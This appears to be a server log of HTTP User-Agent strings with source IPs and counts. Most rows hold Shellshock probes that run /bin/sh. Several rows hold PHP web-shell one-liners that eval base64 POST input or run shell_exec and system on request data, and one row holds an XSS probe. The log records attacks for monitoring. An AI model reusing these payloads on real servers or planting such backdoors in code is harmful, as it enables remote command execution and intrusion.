() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_599eaf2c'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_5ea499b0'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_5f83283e'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_5fa84a9f'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_60421da8'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_60a9e3b0'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_61664cba'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_6412e28e'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_644ff7fb'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_65457750'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_6576bee8'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_6582deea'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_6695ade2'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_669a77bc'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_67ac4ac1'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_6a057466'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_6b64becd'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_6c24df3c'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_6d9efd7c'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_6df417df'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_6e4ce50c'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_6e5561a0'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_6eaa049a'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_6ff3c203'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_6ff74040'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_7014862e'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_711215c1'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_71ffa910'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_7310d3ec'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_7350313b'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_7409c4eb'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_747c57b1'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_75888283'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_75ac2732'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_764c8431'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_76985621'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_77071f9b'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_7747cb26'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_775940df'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_7787adcc'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_785f7a0e'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_787df329'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_79ad5e5c'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_79ff7604'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_7a4f486b'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_7b145782'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_7bd9dd9a'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_7c085f59'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_7cc3dd24'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_7d43eebd'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_7df0bfd5'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_7eadb217'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_7f4e2204'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_7f924cf0'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_806c2623'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_80824629'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_8093ad63'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_81a732d6'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_8289ca0e'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_842fe6f9'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_85c0de49'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_85e7d5ee'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_85f93c9e'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_86cc3b25'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_8712811c'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_884bee1e'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_8994f783'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_89bc1210'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_8b8a7852'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_8bcf9c41'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_8d36a1bd'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_8dc78703'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_8ea09661'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_90eee1eb'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_912f9dc5'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_917147ab'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_919b305e'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_921878f4'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_94816407'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_95631783'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_95ddc299'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_96d3a3f2'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_97aaa900'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_9824539c'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_98ed19be'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_9939154f'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_99bdfa29'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_99d1b2c4'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_9a58bad9'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_9a6ff431'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_9b5d0931'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_9caf3f2e'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_9cd2f876'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_9d0d49d1'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_9d5c034b'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_9d66ef07'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_9e436e65'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_9ed19660'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_9f1df4b1'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_9fd03868'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_9feb67fd'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_a1304cdd'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_a151ea41'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_a16137b0'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_a1c5b08b'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_a1c7bd00'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_a3ade73e'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_a3f45714'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_a48d1a4a'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_a5323d1f'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_a568bdbf'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_a6741d0d'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_a6cb6e26'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_a6d25554'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_a7d3eb6a'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_a8a0ec83'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_a8b95bfb'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_a9d98acd'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_aab20ed5'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_aae2ca80'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_ab2b60ac'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_ac12a071'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_ad4af836'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_ae82e0ae'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_b1661154'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_b1c8fa1f'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_b2449fe3'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_b249ab43'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_b400e555'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_b411655a'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_b4ac4af6'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_b5d1336b'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_b64e8a1b'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_b6a2f163'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_b77eb65d'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_b79df31f'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_b84df526'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_b87a7f74'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_b890e8a4'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_b9cb2b22'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_b9d79bbb'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_ba1d606f'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_bacfbba8'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_bc71bf35'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_bcacf912'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_bda34efd'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_bda74fb7'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_be0281c3'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_bef09990'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_beff73b7'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_bf8311af'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_c007c817'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_c0a4c90a'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_c16b7f8c'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_c223cb5c'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_c360a211'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_c796d117'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_c7ed5d87'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_c942df51'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_ca4bb6a1'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_cc19d441'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_ccde1903'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_ccf00079'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_cd931fe2'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_ce086798'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_cf0261a1'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_cfac2e45'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d137c544'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d275a2a4'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d2db1d5c'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d3b0dd8b'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d44dfbe4'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d46886ec'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d470e9f0'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d5086f6f'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d5fd077d'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d67e6ef3'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d69efc20'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d6cccc19'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d7234e12'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d74a2292'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d7ac3132'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d8f1c4f9'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d90098be'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d9a029c1'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d9d4d503'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_d9f4d163'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_dbb6ed96'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_dbf04bf5'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_dd9cbd6c'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_ddc6113e'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_dde23092'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_ddea78b1'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_df2cbd43'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_df60e1d1'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_e019be4b'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_e080a7c6'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_e3a59c5a'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_e3d2c49e'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_e45e9c65'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_e4c31ab4'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_e5bca2b0'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_e6cf1a4f'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_e7c7397a'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_e8621e67'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_e8b8524a'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_eb4e0743'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_ec130e71'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_ec6b0790'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_eca35977'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_eccf0fc5'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_ed415a6c'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_edcec51b'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_eddea7fd'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_eff069f7'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_f18be0fb'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_f1c47b2f'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_f2200363'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_f239bb85'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_f314787e'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_f382bb33'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_f3939227'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_f4256ae2'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_f47c3223'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_f4d4b75d'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_f559d53c'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_f5ec1228'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_f647ce13'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_f70a9e37'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_f734192d'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_f7431f88'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_f9749b25'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_fa3f7639'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_fb4b67de'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_fb808fef'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_fbd44cd2'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_fc881b1e'145.138.12.22n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_fceb04f7'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_fdf94414'145.138.12.24n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_fe3bd2ee'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_fe487864'145.138.12.65n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_feed1507'145.138.12.25n/a
() { :;}; echo; /bin/sh -c 'echo SHELLSHOCK_CANARY_ff146eac'145.138.12.22n/a
: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/551172.132.48.142n/a
<?php $z=$_POST["nxz7xu3y61166"];if($z){eval(base64_decode(strtr($z,"-_","+/")));die();}?>145.148.10.80n/a
<?php $z=$_POST["nxzp939vq51"];if($z){eval(base64_decode(strtr($z,"-_","+/")));die();}?>145.148.10.201n/a
<?php $z=$_POST["nxzqxka441069"];if($z){eval(base64_decode(strtr($z,"-_","+/")));die();}?>145.148.10.80n/a
<?php $z=$_POST["nxztk8qhv2432"];if($z){eval(base64_decode(strtr($z,"-_","+/")));die();}?>145.148.10.80n/a
<?php $z=$_POST["nxzwf1ash1194"];if($z){eval(base64_decode(strtr($z,"-_","+/")));die();}?>145.148.10.201n/a
<?php $z=$_POST["nxzzkwpvn1039"];if($z){eval(base64_decode(strtr($z,"-_","+/")));die();}?>145.148.10.201n/a
<?php echo '___PHP2SHELL_START___';system(base64_decode('aWQ='));echo '___PHP2SHELL_END___'; ?>1193.47.62.24n/a
<?php if(isset($_GET['lc'])){echo shell_exec(base64_decode($_GET['lc']));}?>185.11.190.112n/a
<?php system(base64_decode('ZWNobyBSQ0VfdVQzSmk2b2FFV093STNWQjtpZDtlY2hvIFJDRV91VDNKaTZvYUVXT3dJM1ZC')); ?>146.7.145.54n/a
<script>alert(Qualys)</script>1172.132.48.142n/a
AnyConnect Windows 4.10.070611185.65.134.201n/a
AnyConnect Windows 4.10.080291185.65.134.201n/a
AnyConnect Windows 5.1.7.801185.65.134.201942
Argus/0.1 (+https://github.com/layercloud/argus)1217.60.242.58n/a
Authorized-Lab-Checker/1.0179.110.49.21n/a
BlackSight-PHP2Shell-Checker/1.0 (+https://scanner.blacksight.io/php2shell-checker)1174.50.237.98n/a
Check-Host check-host.cc1185.220.100.246n/a
CitrixReceiver/4.12.0.65534 Windows/10.0 AuthManager/12.2.0.18007 (Release) X1Class1185.65.134.201n/a
ClaudeBot/1.0 (https://claudebot.ai; crawl@anthropic.com)145.148.10.201n/a
Connect/3.3.6/win32/10.0.20348(20348)/x641185.65.134.201n/a
DAHUA-dhdev/1.0194.154.43.222n/a
DoCoMo/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile/2.1; http://www.google.com/bot.html)1199.165.159.217n/a
Docker-Client/20.10.01217.60.242.76n/a
F5 Access1185.65.134.201n/a
Farez-Sorter/1.0194.102.49.125n/a
FortiSSLVPN (Windows NT; SV1 [SV{v=02.01; f=07;}])1185.65.134.201n/a
Fuzz Faster U Fool v2.1.0-dev1147.78.241.219n/a
Gecko/201009141172.132.48.142n/a
GlobalProtect/6.0.015.189.160.29n/a
Googlebot/2.11198.200.59.85n/a
Hello World/1.0145.198.224.169n/a
IPFileScanner/1.0 (authorized security testing)123.236.169.180n/a
JFrogArtifactory/7.146.251147.78.241.219n/a
Java/1.8.0_1021172.132.48.142n/a
Java/1.8.0_1611172.132.48.142n/a
Lab-PHP2Shell-Audit/1.01102.66.252.110n/a
Linux Gnu (cow) 177.239.124.121n/a
MMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.01172.132.48.142n/a
Metabase-CVE-2026-72898-Safe-Checker/1.0191.231.186.123n/a
Moz111a/5.0 (1Pad; CPU 0S 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.11212.232.23.185n/a
Mozilla Macintosh194.154.43.222n/a
Nessus SOAP v0.0.1 (Nessus.org)1185.220.100.246n/a
Node2Shell-Detector/1.3-Go (+version fingerprinting only; no exploit payloads)113.140.140.94n/a
Opera/9.80 (Windows NT 6.0; U; pl) Presto/2.7.62 Version/11.01123.238.31.189n/a
PAN GlobalProtect/5.2.01150.241.83.103n/a
